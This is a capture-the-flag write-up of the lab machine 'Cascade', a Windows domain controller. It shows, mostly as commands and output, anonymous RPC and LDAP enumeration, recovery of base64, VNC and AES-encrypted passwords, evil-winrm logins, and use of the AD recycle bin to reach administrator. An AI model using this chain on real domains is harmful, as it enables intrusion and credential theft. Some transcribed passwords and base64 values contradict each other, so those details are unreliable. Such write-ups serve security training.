

Cascade

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| CASCADE 10.10.10.182 |
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InfoGathering

```
Services
*****
host      port  proto name      state info
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10.10.10.182 53    tcp    domain   open  Microsoft DNS 6.1.7601 (1DB15D39) Windows Server 2008 R2 SP1
10.10.10.182 88    tcp    kerberos-sec open  Microsoft Windows Kerberos server time: 2020-03-31 15:01:12Z
10.10.10.182 135   tcp    msrpc    open  Microsoft Windows RPC
10.10.10.182 139   tcp    netbios-ssn open  Microsoft Windows netbios-ssn
10.10.10.182 389   tcp    ldap     open  Microsoft Windows Active Directory LDAP Domain: cascade.local, Site: Default-First-Site-Name
10.10.10.182 445   tcp    microsoft-ds open
10.10.10.182 636   tcp    tcpwrapped open
10.10.10.182 3268  tcp    ldap     open  Microsoft Windows Active Directory LDAP Domain: cascade.local, Site: Default-First-Site-Name
10.10.10.182 3269  tcp    tcpwrapped open
10.10.10.182 5985  tcp    http     open  Microsoft HTTPAPI httpd 2.0 SSDP/UPnP
10.10.10.182 49154 tcp    msrpc    open  Microsoft Windows RPC
10.10.10.182 49155 tcp    msrpc    open  Microsoft Windows RPC
10.10.10.182 49157 tcp    ncacn_http open  Microsoft Windows RPC over HTTP 1.0
10.10.10.182 49158 tcp    msrpc    open  Microsoft Windows RPC
10.10.10.182 49165 tcp    msrpc    open  Microsoft Windows RPC
```

DNS

```
PORT  STATE SERVICE
53/tcp open  domain
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
```

KERBEROS

RPC

```
root@kali:~/HTB/Cascade# rpcclient -U "" 10.10.10.182
Enter WORKGROUP\'s password:
rpcclient $> enumdomains
name:[CASCADE] idx:[0x0]
name:[Builtin] idx:[0x0]
rpcclient $> enumusers
command not found: enumusers
rpcclient $> enumdomusers
user:[CascGuest] rid:[0x1f5]
user:[arksvc] rid:[0x452]
user:[s.smith] rid:[0x453]
user:[r.thompson] rid:[0x455]
user:[util] rid:[0x457]
user:[j.wakefield] rid:[0x45c]
user:[s.hickson] rid:[0x461]
user:[j.goodhand] rid:[0x462]
user:[a.turnbull] rid:[0x464]
user:[e.crowe] rid:[0x467]
user:[b.hanson] rid:[0x468]
user:[d.burman] rid:[0x469]
user:[BackupSvc] rid:[0x46a]
user:[j.allen] rid:[0x46e]
user:[i.croft] rid:[0x46f]
rpcclient $> srvinfo
Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
rpcclient $> querydominfo
Domain:          CASCADE
Server:
Comment:
Total Users:    56
Total Groups:   0
Total Aliases:  11
Sequence No:    1
Force Logoff:   -1
Domain Server State: 0x1
Server Role:    ROLE_DOMAIN_PDC
Unknown 3:      0x1
rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Group Policy Creator Owners] rid:[0x208]
group:[DnsUpdateProxy] rid:[0x44f]
```

PASSWORD POLICY

```
rpcclient $> getusrdompwinfo 0x453
&info: struct samr_PwInfo
  min_password_length      : 0x0005 (5)
  password_properties      : 0x00000000 (0)
    0: DOMAIN_PASSWORD_COMPLEX
    0: DOMAIN_PASSWORD_NO_ANON_CHANGE
    0: DOMAIN_PASSWORD_NO_CLEAR_CHANGE
    0: DOMAIN_PASSWORD_LOCKOUT_ADMINS
    0: DOMAIN_PASSWORD_STORE_CLEARTEXT
    0: DOMAIN_REFUSE_PASSWORD_CHANGE
```

LDAP

dnsHostName: CASC-DC1.cascade.local

serverName: CN=CASC-DC1,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=cascade,DC=local

Service Info: Host: CASC-DC1; OS: Windows 2008 R2

rootDomainNamingContext: DC=cascade,DC=local



SMB

SMB 10.10.10.182 445 CASC-DC1 [+] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:CASCADE) (signing:True) (SMBv1:False)

```
PORT    STATE SERVICE
135/tcp  open  msrpc
445/tcp  open  microsoft-ds
```

```
Host script results:
smb2-capabilities:
  2.02:
    Distributed File System
  2.10:
    Distributed File System
    Leasing
    Multi-credit operations
smb2-security-mode:
  2.02:
    Message signing enabled and required
```

```
root@kali:~/HTB/Cascade# smbmap -u r.thompson -p rY4n5eva -d cascade.local -H 10.10.10.182
[+] IP: 10.10.10.182:445      Name: casc-dc1.cascade
Disk                               Permissions      Comment
----                               -
ADMIN$                              NO ACCESS       Remote Admin
Audit$                              NO ACCESS
C$                                  NO ACCESS       Default share
Data                                READ ONLY
IPC$                                NO ACCESS       Remote IPC
NETLOGON                            READ ONLY       Logon server share
print$                              READ ONLY       Printer Drivers
SYSVOL                              READ ONLY       Logon server share
```

WINRM

```
WINRM      10.10.10.182    5985    CASC-DC1    [*] http://10.10.10.182:5985/wsman
```

Gaining Access

In the LDAP Search Queries I found a Base64 encoded password

```
ldapsearch -h 10.10.10.182 -x -b DC=cascade,DC=local > ldapsearch.txt
grep Pwd ldapsearch.txt
# RESULTS
cascadeLegacyPwd: clk0bjVldmE=
# THE ABOVE IS A BASE64 ENCODED PASSWORD
echo 'clk0bjVldmE=' | base64 -d
rY4n5eva
# Find the user the password belongs too
grep -l0 'clk0bjVldmE=' ldapsearch.txt
```

```
root@kali:~/HTB/Cascade# grep -10 'clk0bjVldmE=' ldapsearch.txt
sAMAccountType: 805306368
userPrincipalName: r.thompson@cascade.local
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=cascade,DC=local
dSCorePropagationData: 20200126183918.0Z
dSCorePropagationData: 20200119174753.0Z
dSCorePropagationData: 20200119174719.0Z
dSCorePropagationData: 20200119174508.0Z
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 132294360317419816
msDS-SupportedEncryptionTypes: 0
cascadeLegacyPwd: clk0bjVldmE=
```

CREDENTIALS

USER: r.thompson@cascade.local
PASS: rY4n5eva

I used Metasploits auxiliary/scanner/winrm||smb/winrm_login||smb_login
SMB Success
WinRM Failed

I used the credentials to search the network shares for any interesting files. I found an IT email, a deleted recycle bin log and an install file for VNC.

```
smbclient '//10.10.10.182/Data' -U 'r.thompson*rY4n5eva'
# OR THE BETTER OPTION
/usr/local/bin/smbclient.py r.thompson@10.10.10.182

# INTERESTING FILE RESULTS
.\Data\IT\Email Archives\*
dr--r--r--          0 Tue Jan 28 13:00:30 2020  .
dr--r--r--          0 Tue Jan 28 13:00:30 2020  ..
fr--r--r--        2522 Tue Jan 28 13:00:30 2020  Meeting_Notes_June_2018.html

# RESULTS 2
.\Data\IT\Temp\s.smith\*
dr--r--r--          0 Tue Jan 28 15:00:05 2020  .
dr--r--r--          0 Tue Jan 28 15:00:05 2020  ..
fr--r--r--        2680 Tue Jan 28 15:00:01 2020  VNC Install.reg

# RESULTS 3
.\Data\IT\Logs\Ark AD Recycle Bin\*
dr--r--r--          0 Tue Jan 28 19:53:04 2020  .
dr--r--r--          0 Tue Jan 28 19:53:04 2020  ..
fr--r--r--        1303 Tue Jan 28 20:19:11 2020  ArkAdRecycleBin.log
```

Reading those files told me a temp account now or once existed that has the same password as the administrator account.

```
<p>— We will be using a temporary account to
perform all tasks related to the network migration and this account will be deleted at the end of
2018 once the migration is complete. This will allow us to identify actions
related to the migration in security logs etc. Username is TempAdmin (password is the same as the normal admin account password). </p>

<p>— The winner of the Best GPO competition will be
announced on Friday so get your submissions in soon.</p>

<p class=MsoNormal><o:p>&nbsp;</o:p></p>

<p class=MsoNormal>Steve</p>
```

ArkSvc deleted the TempUser

```
1/10/2018 15:43 [MAIN_THREAD] ** STARTING - ARK AD RECYCLE BIN MANAGER v1.2.2 **
1/10/2018 15:43 [MAIN_THREAD] Validating settings...
1/10/2018 15:43 [MAIN_THREAD] Error: Access is denied
1/10/2018 15:43 [MAIN_THREAD] Exiting with error code 5
2/10/2018 15:56 [MAIN_THREAD] ** STARTING - ARK AD RECYCLE BIN MANAGER v1.2.2 **
2/10/2018 15:56 [MAIN_THREAD] Validating settings...
2/10/2018 15:56 [MAIN_THREAD] Running as user CASCADE\ArkSvc
2/10/2018 15:56 [MAIN_THREAD] Moving object to AD recycle bin CN=Test,OU=Users,OU=UK,DC=cascade,DC=local
2/10/2018 15:56 [MAIN_THREAD] Successfully moved object. New location CN=Test\@ADEL:ab073fb7-6d91-4fd1-bb77-817b9e1b0e6d,CN=Deleted Objects,DC=cascade,DC=local
2/10/2018 15:56 [MAIN_THREAD] Exiting with error code 0
8/12/2018 12:22 [MAIN_THREAD] ** STARTING - ARK AD RECYCLE BIN MANAGER v1.2.2 **
8/12/2018 12:22 [MAIN_THREAD] Validating settings...
8/12/2018 12:22 [MAIN_THREAD] Running as user CASCADE\ArkSvc
8/12/2018 12:22 [MAIN_THREAD] Moving object to AD recycle bin CN=TempAdmin,OU=Users,OU=UK,DC=cascade,DC=local
8/12/2018 12:22 [MAIN_THREAD] Successfully moved object. New location CN=TempAdmin\@ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
8/12/2018 12:22 [MAIN_THREAD] Exiting with error code 0
```

I found a Hex encoded password in the VNC install file inside s.smiths directory

```
"EnableUrlParams"=dword:00000001
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
"AlwaysShared"=dword:00000000
```

The hex decoding has some sort of special VNC decoding so I used a special decoder to understand it

RESOURCE: <http://tools88.com/safe/vnc.php>

```
C:\Users\adm\Downloads>vncpwd.exe 6bcf2a4b6e5aca0f

*VNC password decoder 0.2.1
by Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org

- your input password seems in hex format (or longer than 8 chars)

Password: sT333ve2
```

Because I found the VNC file in steves folder I tested to make sure the password would work for him over WinRM and it did.

USER: s.smith

PASS: sT333ve2

```
ruby /usr/share/windows-resources/evil-winrm/evil-winrm.rb -u s.smith -p sT333ve2 -i 10.10.10.182
type C:\Users\s.smith\Desktop\user.txt
# RESULTS
2cc5788fd9e86ddb01e3bc08b1a24784
```

USER FLAG: 2cc5788fd9e86ddb01e3bc08b1a24784

PrivEsc

My Initial PowerUp.ps1 cheks did not return anything so I am going to need to find a more manual method of gaining Admin rights.

S.Smith is the member of a group called Audit Share.

```
net user s.smith
# RESULTS
Local Group Memberships      *Audit Share

# Enumeration of that group
net localgroup "Audit Share"
# RESULTS
Alias name      Audit Share
Comment        \\Casc-DC1\Audit$
```

Steve has access to a hidden share I did not see before at \\Casc-DC1\Audit\$

```
smbclient '//10.10.10.182/Data' -U 's.smith%sT333ve2'
# OR THE BETTER OPTION
/usr/local/bin/smbclient.py s.smith@10.10.10.182
sT333ve2
```

```
root@kali:~/var/www/html# /usr/local/bin/smbclient.py s.smith@10.10.10.182
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

Password:
Type help for list of commands
# use Audit$
# dir
*** Unknown syntax: dir
# ls
drw-rw-rw-      0  Wed Jan 29 13:01:26 2020  .
drw-rw-rw-      0  Wed Jan 29 13:01:26 2020  ..
-rw-rw-rw-    13312  Tue Jan 28 16:47:08 2020  CascAudit.exe
-rw-rw-rw-    12288  Wed Jan 29 13:01:26 2020  CascCrypto.dll
drw-rw-rw-      0  Tue Jan 28 16:43:18 2020  DB
-rw-rw-rw-      45  Tue Jan 28 18:29:47 2020  RunAudit.bat
-rw-rw-rw-   363520  Tue Jan 28 15:42:18 2020  System.Data.SQLite.dll
-rw-rw-rw-   186880  Tue Jan 28 15:42:18 2020  System.Data.SQLite.EF6.dll
drw-rw-rw-      0  Tue Jan 28 15:42:18 2020  x64
drw-rw-rw-      0  Tue Jan 28 15:42:18 2020  x86
# |
```

Guessing at the file contents I believe CascAudit.exe is some sort of custom audit application that stores info in the SQL database. There is a database file inside the DB directory. I uploaded that too <https://sqliteonline.com/> to check it out

Open ROW

Id

1

uname

ArkSvc

pwd

BQ0515Kj9MdErXx6Q6AG0w==

domain

cascade.local

USER: ArkSvc

PASSWORD: BQ0515Kj9MdErXx6Q6AG0w==

The base64 is hiding an encrypted password. Being as there is a dll file called CascCrypto.dll we can presume this is using a special encryption method. Use Ghidra to obtain the information required to crack the AES hash.

```
call    class [mscorlib]System.Security.Cryptography.Aes [mscorlib]System.Security.Cryptography.Aes::Create()
stloc.2
ldloc.2
ldc.i4  0x80
callvirt instance void [mscorlib]System.Security.Cryptography.SymmetricAlgorithm::set_KeySize(int32)
ldloc.2
ldc.i4  0x80
callvirt instance void [mscorlib]System.Security.Cryptography.SymmetricAlgorithm::set_BlockSize(int32)
ldloc.2
call    class [mscorlib]System.Text.Encoding [mscorlib]System.Text.Encoding::get_UTF8()
ldstr   a1tdyjcbY1Ix49842 // "1tdyjCbY1Ix49842"
callvirt instance unsigned int8[] [mscorlib]System.Text.Encoding::GetBytes(string)
callvirt instance void [mscorlib]System.Security.Cryptography.SymmetricAlgorithm::set_IV(unsigned int8[])
ldloc.2
ldc.i4.1
callvirt instance void [mscorlib]System.Security.Cryptography.SymmetricAlgorithm::set_Mode(valuetype [mscorlib]Sy
ldloc.2
call    class [mscorlib]System.Text.Encoding [mscorlib]System.Text.Encoding::get_UTF8()
ldarg.1
callvirt instance unsigned int8[] [mscorlib]System.Text.Encoding::GetBytes(string)
callvirt instance void [mscorlib]System.Security.Cryptography.SymmetricAlgorithm::set_Key(unsigned int8[])
ldloc.1
newobj  instance void [mscorlib]System.IO.MemoryStream::ctor(unsigned int8[])
stloc.3
    .try {
ldloc.3
```

RESOURCE: <https://www.devglan.com/online-tools/aes-encryption-decryption>

Password: BQO5I5Kj9MdErXx6Q6AGOW==

Mode: CBC

IV: 1tdyjCbY1lx49842

Key Size 128

Secret Key: c4scadek3y654321

RESULTS: dzNsYzBtZUZyFjFuZA==

AES Online Decryption

Enter text to be Decrypted

BQO5I5Kj9MdErXx6Q6AGOW==

Input Text Format: Base64 Hex

Select Mode

CBC

Enter IV Used During Encryption(Optional)

ItdyjCbYllx49842

Key Size in Bits

128

Enter Secret Key

c4scadek3y654321

Decrypt

AES Decrypted Output (**Base64**):

dzNsYzBtZUZyFjFuZA==

Decode to Plain Text

w3lc0meFr31nd

USER: ArkSvc
PASS: w3lc0meFr1nd

I was then able to access the machine as ArkSvc

```
ruby /usr/share/windows-resources/evil-winrm/evil-winrm.rb -u arksvc -p "w3lc0meFr31nd" -i 10.10.10.182
```

Now signed in as ArkSvc I have permissions to view the Recycle Bin and attempted to see what deleted objects I could read. This allowed me to discover the TempAdmin users password effectively obtaining the current administrators password.

```
Get-ADObject -filter 'isdeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property *
```

```
CanonicalName       : cascade.local/Deleted Objects/TempAdmin
                    : DEL:f0cc344d-31e0-4866-bceb-a842791ca059
cascadeLegacyPwd    : YmFDVDNyMWFOMDBkb6Vz
CN                  : TempAdmin
                    : DEL:f0cc344d-31e0-4866-bceb-a842791ca059
codePage            : 0
countryCode        : 0
Created             : 1/27/2020 3:23:08 AM
createTimeStamp     : 1/27/2020 3:23:08 AM
Deleted             : True
Description         :
DisplayName         : TempAdmin
DistinguishedName   : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
dScorePropagationData : {1/27/2020 3:23:08 AM, 1/1/1601 12:00:00 AM}
givenName          : TempAdmin
instanceType       : 4
isDeleted          : True
LastKnownParent     : OU=Users,OU=UK,DC=cascade,DC=local
lastLogoff         : 0
lastLogon          : 0
logonCount         : 0
Modified           : 1/27/2020 3:24:34 AM
modifyTimeStamp     : 1/27/2020 3:24:34 AM
msDS-LastKnownRDN  : TempAdmin
Name               : TempAdmin
                    : DEL:f0cc344d-31e0-4866-bceb-a842791ca059
nTSecurityDescriptor : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory     :
ObjectClass        : user
ObjectGUID         : f0cc344d-31e0-4866-bceb-a842791ca059
objectSid          : S-1-5-21-3332504370-1206983947-1165150453-1136
primaryGroupID     : 513
ProtectedFromAccidentalDeletion : False
pwdLastSet        : 132245689883479503
sAMAccountName     : TempAdmin
sDRightsEffective  : 0
userAccountControl : 66048
userPrincipalName  : TempAdmin@cascade.local
uSNChanged        : 237705
uSNCreated        : 237695
whenChanged       : 1/27/2020 3:24:34 AM
whenCreated       : 1/27/2020 3:23:08 AM
```

```
echo 'YmFDVDNyMWFOMDBkbGVz' | base64 -d  
# RESULTS  
baCT3r1aN00dles
```

USER: TempAdmin
PASS: baCT3r1aN00dles

I can now read the root.txt flag

```
# ACCESS AS ADMIN  
ruby /usr/share/windows-resources/evil-winrm/evil-winrm.rb -u administrator -p "baCT3r1aN00dles" -i 10.10.10.182  
# READ FLAG  
type C:\Users\Administrator\Desktop\root.txt  
# RESULTS  
817d65a813af240b013e679153887f84
```

ROOT FLAG: 817d65a813af240b013e679153887f84